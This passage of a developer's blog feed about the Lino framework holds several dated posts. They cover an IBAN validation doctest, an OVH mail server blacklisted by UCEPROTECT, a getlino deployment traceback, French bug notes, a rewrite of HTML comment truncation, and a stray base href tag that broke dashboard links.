&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE11804397580221 BE34829322365739 BE11458761645789 BE29130173930513&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE29574484390883 BE19820541587867 BE73845165949471 BE11825210576117&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE25499641614403 BE80564793249460 BE43437215784441 BE54138698693486&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE61436161739340 BE27801411207953 BE55305014805004 BE13191398912855&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE61189107260898 BE93312467480966 BE60440817758176 BE10863073287154&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE59216818569552 BE07450905772904 BE85395276000288 BE57235129398589&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE21523605221490 BE39687726524954 BE02785384795847 BE94282431297379&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE37708963319221 BE20576597943736 BE58957930189048 BE89739470612521&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE63988170278167 BE83796298703120 BE82296300383494 BE28129593595051&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE24484557233273 BE69427657108123 BE57042159287068 BE83179882282306&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE93341283519480 BE90729206219167 BE81269555020876 BE40766343569548&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE53678632834066 BE93585347895031 BE69292012914179 BE49897120789494&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE51985746520177 BE03895667683762 BE02408418329440 BE03609766419892&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE78080963195984 BE68666652227996 BE54040081116636 BE35181410464917&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE42606619499794 BE16513989595769 BE88647320882684 BE11272937316106&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE38724890005186 BE07626747483096 BE02474894818162 BE53196039300567&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE63988451926882 BE75182156579758 BE48386991558038 BE33952339454042&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE56185415568252 BE34313568988032 BE03904423255096 BE77579995841458&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE09071520707006 BE83207930496659 BE49318050525114 BE31056852421027&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE51182515387458 BE42236944879280 BE50276834170512 BE58541970254007&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE93271169674318 BE23136649204033 BE02851794180163 BE80778447523029&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE21275778332339 BE51053181131687 BE56387983248355 BE38309089046355&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE29002716425310 BE76365878771595 BE80911864086850 BE91136216227692&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE08672781704375 BE34729906921209 BE85756866442049 BE48366731576602&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE49519182254756 BE68035028622967 BE78277046396890 BE93837490942257&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE66433528981837 BE86666893930914 BE15312933330011 BE43946329477713&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE08594672453793 BE21433591412817 BE70467754184830 BE04374291204979&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE64538515733632 BE87947327527963 BE51913563902956 BE04850007988759&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE68155990881682 BE47473384527061 BE15906972704910 BE15944156398857&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE14728111576893 BE71145331534847 BE92574219826420 BE92566945319180&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE31013335466615 BE44090129621033 BE26226728108576 BE10231014323427&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE68940179202254 BE56847196211284 BE55357359022868 BE23405282438663&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE67824364770999 BE30009950029281 BE91377237232123 BE66386114502726&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE60333519814092 BE44176520441100 BE67441017594540 BE27848533546247&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE08833950119516 BE93975044034606 BE23645988190863 BE47472613381523&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE54252608974116 BE87374084517534 BE42565800454106 BE98187154105383&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE33050012842933 BE75116844443922 BE04699886831159 BE60044624208237&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE20643226085265 BE32639360377999 BE93362702274071 BE19836703824285&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE52073997617334 BE29024174274005 BE81349294644257 BE28732607237193&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE55672277141733 BE36285935021940 BE54708460513595 BE34184510926957&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE88170644701295 BE61709688753174 BE78965942728382 BE03956159662133&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE35034870042820 BE67215399792312 BE90719088285064 BE51256194236566&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE13167534988472 BE39947591745478 BE70077503814027 BE86161552353369&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE86034767894306 BE74516318801696 BE94921930044512 BE28894110309803&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;BE71054229463968 BE96536461902198 BE33518631756667 BE55668105864313&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;print_if_good&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iban&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;   &lt;span class="n"&gt;acct&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Account&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;partner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;partner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iban&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iban&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;   &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;       &lt;span class="n"&gt;acct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;       &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;acct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iban&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;   &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;       &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ibans&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;   &lt;span class="n"&gt;print_if_good&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0804.html</guid><pubDate>Fri, 04 Aug 2023 00:00:00 +0000</pubDate></item><item><title>OVH being blacklisted by UCEPROTECT</title><link>https://luc.lino-framework.org/blog/2023/0725.html</link><description>&lt;section id="ovh-being-blacklisted-by-uceprotect"&gt;
&lt;h1&gt;OVH being blacklisted by UCEPROTECT&lt;a class="headerlink" href="#ovh-being-blacklisted-by-uceprotect" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, July 25, 2023&lt;/p&gt;
&lt;p&gt;Our main mail server, &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;saffre-rumma.net&lt;/span&gt;&lt;/code&gt;, hosted at OVH, is currently
blacklisted by UCEPROTECTL3. Which (according to &lt;a class="reference external" href="https://mxtoolbox.com/Problem/Blacklist/UCEPROTECTL3/?page=prob_blacklist&amp;amp;ip=51.68.71.43&amp;amp;link=button&amp;amp;action=blacklist:51.68.71.43&amp;amp;showLogin=1&amp;amp;hidetoc=1&amp;amp;reason=127.0.0.2"&gt;mxtoolbox.com&lt;/a&gt;)
means that our IP address “falls into a poor reputation range. The entire range
of IP addresses is blocked because the provider (OVH in our case) also hosts
spammers. UCEPROTECTL3 does not offer any form of manual request to delist. Our
IP address will automatically expire from listing after some time.”&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.uceprotect.net/en/rblcheck.php?ipr=51.68.71.43"&gt;uceprotect.net&lt;/a&gt;
says that “UCEPROTECT Level 3 is the highest possible escalation: complete
Autonomus Systems (AS) get listed at Level 3 if there were too many impacts from
IP’s listed in Level 1 originating from said AS within the last 7 days. OVH has
&lt;strong&gt;4,197,632&lt;/strong&gt; IP addresses and &lt;strong&gt;609&lt;/strong&gt; of these have been level 1 listed abusers
within the last 7 days.”&lt;/p&gt;
&lt;p&gt;I was seriously considering to move away from OVH to another provider. But then
I contacted them and submitted &lt;a class="reference external" href="https://www.ovh.com/manager/#/dedicated/support/tickets/8121647"&gt;support request ticket 8121647&lt;/a&gt; with the
following text:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;uceprotect.net recommends us to “send a complaint to your provider and request
they fix this problem immediately. Think about this: You pay them so that you
can use the Internet without problems; if they are ignoring your complaint or
claiming they can’t do anything, you should consider changing your provider.
There are currently about 105,000 providers worldwide, but only a few hundred
make it to get listed into UCEPROTECT-Level 3.”&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;OVH answered to my support ticket as follows:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Since January 2021, UCE Protect has placed our ASN (AS16276) on their
blacklist like many others.&lt;/p&gt;
&lt;p&gt;You can see this by clicking on the following link:
&lt;a class="reference external" href="http://www.uceprotect.net/en/l3charts.php"&gt;http://www.uceprotect.net/en/l3charts.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Our Trust and Safety legal abuse team is unable to contact UCE Protect to
rectify the situation. Indeed, any attempt to communicate with them requires a
paid subscription, which OVHcloud does not wish to take out.&lt;/p&gt;
&lt;p&gt;As a result, we have no idea why our ASN has been blacklisted.&lt;/p&gt;
&lt;p&gt;To date, we have found that no e-mail provider uses UCE Protect in their spam
filters.&lt;/p&gt;
&lt;p&gt;If this affects you, we recommend the following:&lt;/p&gt;
&lt;p&gt;1. Prioritize an IPv6 configuration for sending e-mail, as UCE Protect does
not blacklist e-mails sent via IPv6.  All our OVHcloud services come with at
least one IPv6 address that you can configure. All major e-mail providers now
support IPv6.&lt;/p&gt;
&lt;p&gt;Below you’ll find documentation to help you configure your IPv6:
&lt;a class="reference external" href="https://help.ovhcloud.com/csm/fr-vps-configuring-ipv6?id=kb_article_view&amp;amp;sysparm_article=KB0047576"&gt;https://help.ovhcloud.com/csm/fr-vps-configuring-ipv6?id=kb_article_view&amp;amp;sysparm_article=KB0047576&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. Ask the receiving party to contact their e-mail provider to stop using UCE
Protect in their anti-spam filters.&lt;/p&gt;
&lt;p&gt;We invite you to consult the following guide for best practices in sending
your e-mails: &lt;a class="reference external" href="https://docs.ovh.com/fr/dedicated/optimiser-envoi-emails/"&gt;https://docs.ovh.com/fr/dedicated/optimiser-envoi-emails/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;OVHcloud is committed to an open and reliable Cloud. Thanks to the cooperation
of users like you, we’ll be able to continually improve our service in the
future.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Other observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.mail-tester.com/test-4bf413oij"&gt;https://www.mail-tester.com/test-4bf413oij&lt;/a&gt; gives our email server a score of
9.50/10&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A &lt;a class="reference external" href="https://www.reddit.com/r/ovh/comments/mi12z1/ovh_does_not_care_about_spammers/"&gt;discussion on reddit.com&lt;/a&gt;
comes to a similar conclusion.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We are &lt;strong&gt;not&lt;/strong&gt; blacklisted on &lt;a class="reference external" href="https://check.spamhaus.org"&gt;Spamhaus&lt;/a&gt;, only
on UCEPROTECT.&lt;/p&gt;
&lt;p&gt;There are many other people who witness that uceprotect is a dubious scammer.
For example &lt;a class="reference external" href="https://arnowelzel.de/erfahrungen-mit-uceprotect"&gt;Arno Wetzel&lt;/a&gt;
or  &lt;a class="reference external" href="https://programmerbear.com/email-service-providers-its-time-to-stop-using-uceprotect/"&gt;Programmer Bear&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Related tickets:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3936"&gt;#3936&lt;/a&gt; (167.114.229.225 has been blacklisted UCEPROTECTL3)
(167.114.229.225 was the IP address of lino-framework.org from
&lt;a class="reference internal" href="../2019/1012.html"&gt;&lt;span class="doc"&gt;2019-10-12&lt;/span&gt;&lt;/a&gt;) to 2021-03-14.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5088"&gt;#5088&lt;/a&gt; (Client host 51.68.71.43 blocked by cbl.mailcore.net in reply
to RCPT TO command)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;section id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My conclusion is that UCEPROTECT lives from  asking Internet providers to pay
money for being whitelisted. And OVH refuses to give in to this blackmailing. I
honor OVH’s civil courage.&lt;/p&gt;
&lt;p&gt;I can witness that OVH does monitor their IP addresses and blocks them
successfully when they start spamming. One of our servers once got hacked and
was being misused for spamming, and OVH blocked our server within minutes,
informed us about the situation and provided an easy method for unblocking our
IP address after having fixed our problem.&lt;/p&gt;
&lt;p&gt;Only a minority of email providers still trust in the UCEPROTECT blacklist.&lt;/p&gt;
&lt;p&gt;The following email providers still trust UCEPROTECT and thus I cannot send any
email to direct or indirect users of these:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;MailCore (Denmark), the mail service provider behind addresses &lt;strong&gt;&amp;#64;hot.ee&lt;/strong&gt; and
&lt;strong&gt;&amp;#64;online.ee&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;one.com&lt;/strong&gt; (One.com Group AB in Sweden)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;hotmail.com&lt;/strong&gt; (Microsoft) (Example error message:  “host
hotmail-com.olc.protection.outlook.com[104.47.56.161] said: 550 5.7.1
Unfortunately, messages from [51.68.71.43] weren’t sent. Please contact your
Internet service provider since part of their network is on our block list
(S3150). You can also refer your provider to
&lt;a class="reference external" href="http://mail.live.com/mail/troubleshooting.aspx#errors"&gt;http://mail.live.com/mail/troubleshooting.aspx#errors&lt;/a&gt;.
[CO1NAM11FT107.eop-nam11.prod.protection.outlook.com 2024-01-28T19:45:45.245Z
08DC1F653F790B69] (in reply to MAIL FROM command)”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Last updated 2024-08-15&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0725.html</guid><pubDate>Tue, 25 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Friday, July 21, 2023</title><link>https://luc.lino-framework.org/blog/2023/0721.html</link><description>&lt;section id="friday-july-21-2023"&gt;
&lt;h1&gt;Friday, July 21, 2023&lt;a class="headerlink" href="#friday-july-21-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had the following traceback during &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(pilv) root@pilv:/home/luc# getlino startsite amici alpha
Running as root.
This is getlino version 23.7.0 running on Debian GNU/Linux 11 (bullseye) (debian bullseye).
Preparing to reinstall amici to /usr/local/lino/lino_local/alpha
Shared virtualenv []:
Okay to reinstall amici to /usr/local/lino/lino_local/alpha? [y or n] Yes
Overwrite existing file /usr/local/lino/lino_local/alpha/manage.py ? [y or n] Yes
Overwrite existing file /usr/local/lino/lino_local/alpha/make_snapshot.sh ? [y or n] Yes
Overwrite existing file /usr/local/lino/lino_local/alpha/asgi.py ? [y or n] Yes
Installing 6 Python packages...
run . /usr/local/lino/lino_local/alpha/env/bin/activate &amp;amp;&amp;amp; pip install -q --upgrade daphne mysqlclient lino lino-amici lino-xl lino-react [y or n] Yes
. /usr/local/lino/lino_local/alpha/env/bin/activate &amp;amp;&amp;amp; pip install -q --upgrade daphne mysqlclient lino lino-amici lino-xl lino-react
Overwrite existing file /etc/supervisor/conf.d/alpha-asgi.conf ? [y or n] Yes
Overwrite existing file /etc/nginx/sites-available/alpha.conf ? [y or n] Yes
run . /usr/local/lino/lino_local/alpha/env/bin/activate &amp;amp;&amp;amp; python manage.py install --noinput [y or n] No
run . /usr/local/lino/lino_local/alpha/env/bin/activate &amp;amp;&amp;amp; python manage.py collectstatic --noinput [y or n] Yes
. /usr/local/lino/lino_local/alpha/env/bin/activate &amp;amp;&amp;amp; python manage.py collectstatic --noinput
Run worker process ...
Started manage.py collectstatic --noinput (using lino_local.alpha.settings) --&amp;gt; PID 1963049

0 static files copied to &amp;#39;/usr/local/lino/lino_local/alpha/env/static_root&amp;#39;, 4007 unmodified.
Traceback (most recent call last):
  File &amp;quot;/usr/local/lino/lino_local/alpha/manage.py&amp;quot;, line 11, in &amp;lt;module&amp;gt;
    execute_from_command_line(sys.argv)
  File &amp;quot;/usr/local/lino/lino_local/alpha/env/lib/python3.9/site-packages/lino/core/management/__init__.py&amp;quot;, line 144, in execute_from_command_line
    stop_utility(argv)
  File &amp;quot;/usr/local/lino/lino_local/alpha/env/lib/python3.9/site-packages/lino/core/management/__init__.py&amp;quot;, line 121, in stop_utility
    sock = get_socket()
  File &amp;quot;/usr/local/lino/lino_local/alpha/env/lib/python3.9/site-packages/lino/core/management/__init__.py&amp;quot;, line 55, in get_socket
    sock.connect(str(worker_sock_file))
FileNotFoundError: [Errno 2] No such file or directory
Done manage.py collectstatic --noinput (PID 1963049)
Error: . /usr/local/lino/lino_local/alpha/env/bin/activate &amp;amp;&amp;amp; python manage.py collectstatic --noinput ended with return code 1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This getlino was running in a &lt;cite&gt;sudo su&lt;/cite&gt; session. Afterwards I tried to reproduce
the error in a normal session and it didn’t fail again:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;luc@pilv:~$ go alpha
luc@pilv:/usr/local/lino/lino_local/alpha$ a
(env) luc@pilv:/usr/local/lino/lino_local/alpha$ pm collectstatic
Started manage.py collectstatic (using lino_local.alpha.settings) --&amp;gt; PID 1963126

You have requested to collect static files at the destination
location as specified in your settings:

    /usr/local/lino/lino_local/alpha/env/static_root

This will overwrite existing files!
Are you sure you want to do this?

Type &amp;#39;yes&amp;#39; to continue, or &amp;#39;no&amp;#39; to cancel: yes

0 static files copied to &amp;#39;/usr/local/lino/lino_local/alpha/env/static_root&amp;#39;, 4007 unmodified.
Done manage.py collectstatic (PID 1963126)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Unfortunately the message “FileNotFoundError: [Errno 2] No such file or
directory” is not very helpful. We would want to know the name of the file it
was trying to connect to. So I changed &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.management.get_socket()&lt;/span&gt;&lt;/code&gt;
to be more verbose in the future.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0721.html</guid><pubDate>Fri, 21 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 19, 2023</title><link>https://luc.lino-framework.org/blog/2023/0719.html</link><description>&lt;section id="wednesday-july-19-2023"&gt;
&lt;h1&gt;Wednesday, July 19, 2023&lt;a class="headerlink" href="#wednesday-july-19-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Le planificateur quotidien en page d’accueil reprend tous les RV de la journée
dans la case « Avant-midi » et répète les dates pm dans la case « Après-midi
».&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Il n’y a plus d’exportation de listes excel ou pdf possible ni d’impressions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Dans l’onglet « Mise à l’emploi » il faudrait , dans le module « Mise à
l’emploi Art60§77 », que la convention active liée apparaisse (une colonne
avant remarque ?).
–&amp;gt; Fixed after next pull.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lorsqu’on souhaite inscrire un participant via EnrolmentsByActivity, on a le
message : ‘str’ object has no attribute ‘objects’.
–&amp;gt; Fixed after next pull.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0719.html</guid><pubDate>Wed, 19 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Thursday, July 13, 2023</title><link>https://luc.lino-framework.org/blog/2023/0713.html</link><description>&lt;section id="thursday-july-13-2023"&gt;
&lt;h1&gt;Thursday, July 13, 2023&lt;a class="headerlink" href="#thursday-july-13-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my work for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5039"&gt;#5039&lt;/a&gt; although the actual issue is not fixed.
Because I want to test everything “on the field” on two production sites (jane
and froinde). And because &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5039"&gt;#5039&lt;/a&gt; has been there before, it is not a
release blocker.&lt;/p&gt;
&lt;p&gt;I completely rewrote the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.truncate_comment" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.truncate_comment()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function  and
moved doctests to a &lt;a class="reference external" href="https://dev.lino-framework.org/topics/truncate.html"&gt;separate document&lt;/a&gt;:
&lt;a class="reference external" href="https://dev.lino-framework.org/topics/truncate.html#book-topics-truncate" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Truncating HTML texts&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The remark field in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/polls.html#lino_xl.lib.polls.AnswerRemark" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.polls.AnswerRemark&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was also being
truncated by &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;truncate_comment()&lt;/span&gt;&lt;/code&gt;, with &lt;cite&gt;max_p_len&lt;/cite&gt; being -1. I suspect that
this was mixing up sanitizing and truncating. The remark of a poll answer needs
to be &lt;em&gt;sanitized&lt;/em&gt;, not truncated. Sanitizing is done using bleach in Lino.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0713.html</guid><pubDate>Thu, 13 Jul 2023 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 12, 2023</title><link>https://luc.lino-framework.org/blog/2023/0712.html</link><description>&lt;section id="wednesday-july-12-2023"&gt;
&lt;h1&gt;Wednesday, July 12, 2023&lt;a class="headerlink" href="#wednesday-july-12-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had written the following comment in Jane:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Indeed links &lt;em&gt;should&lt;/em&gt; work because the server_uri is given as the base href of
the email in the html header: &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;base href=”&lt;a class="reference external" href="https://jane.mylino.net"&gt;https://jane.mylino.net&lt;/a&gt;”
target=”_blank”&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Ouch! This caused Jane to become unusable for a few hours of research time. What
was happening? Lino now faithfully showed that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;base&lt;/span&gt; &lt;span class="pre"&gt;href&amp;gt;&lt;/span&gt;&lt;/code&gt; tag in the Jane
dashboard as part of the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;RecentComments&lt;/span&gt;&lt;/code&gt; story. Which caused every link
to open a new window. But links in a Lino website with React look like this:&lt;/p&gt;
